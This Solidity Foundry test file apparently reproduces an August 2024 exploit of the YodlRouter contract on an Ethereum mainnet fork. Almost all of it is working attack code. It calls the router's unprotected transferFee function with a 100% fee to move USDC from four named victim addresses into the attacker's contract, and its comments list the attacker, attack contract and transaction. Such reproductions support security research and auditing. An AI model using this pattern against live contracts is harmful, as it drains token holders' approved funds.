src/test/2024-08/YodlRouter_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~5k
8// Attacker : https://etherscan.io/address/0xedee6379fe90bd9b85d8d0b767d4a6deb0dc9dcf
9// Attack Contract : https://etherscan.io/address/0x802cfff8d7cb27879e00496843bb69361ff09ab3
10// Vulnerable Contract : https://etherscan.io/address/0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e
11// Attack Tx : https://etherscan.io/tx/0x54f659773dae6e01f83184d4b6d717c7f1bb71c0aa59e8c8f4a57c25271424b3
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xe3a0bc3483ae5a04db7ef2954315133a6f7d228e#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy :
19// Hacking God :
20pragma solidity ^0.8.0;
21 
22interface IR {
23    function transferFee(uint256 amount, uint256 feeBps, address token, address from, address to) external;
24}
25 
26contract NoName is BaseTestWithBalanceLog {
27    uint256 blocknumToForkFrom = 20_520_368;
28    address internal YodlRouter = 0xE3A0bc3483AE5a04DB7eF2954315133a6F7D228E;
29    address internal USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
30 
31    function setUp() public {
32        vm.createSelectFork("mainnet", blocknumToForkFrom);
33        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        fundingToken = address(USDC);
35    }
36 
37    function testExploit() public balanceLog {
38        //implement exploit code here
39        uint256 amount;
40        uint256 feeBps = 10_000;
41        address token = USDC;
42        address from;
43        address to = address(this);
44 
45        // Victim 0
46        from = 0x5322BFF39339eDa261Bf878Fa7d92791Cc969Bb0;
47        amount = 45_588_747_326;
48        IR(YodlRouter).transferFee(amount, feeBps, token, from, to);
49 
50        // Victim 1
51        from = 0xa7b7d4ebF1F5035F3b289139baDa62f981f2916E;
52        amount = 1_219_608_225;
53        IR(YodlRouter).transferFee(amount, feeBps, token, from, to);
54 
55        // Victim 2
56        from = 0x2c349022df145C1a2eD895B5577905e6F1Bc7881;
57        amount = 1_000_000_000;
58        IR(YodlRouter).transferFee(amount, feeBps, token, from, to);
59 
60        // Victim 3
61        from = 0x96D0F726FD900E199680277aAaD326fbdebc6BF9;
62        amount = 1_000_000;
63        IR(YodlRouter).transferFee(amount, feeBps, token, from, to);
64    }
65}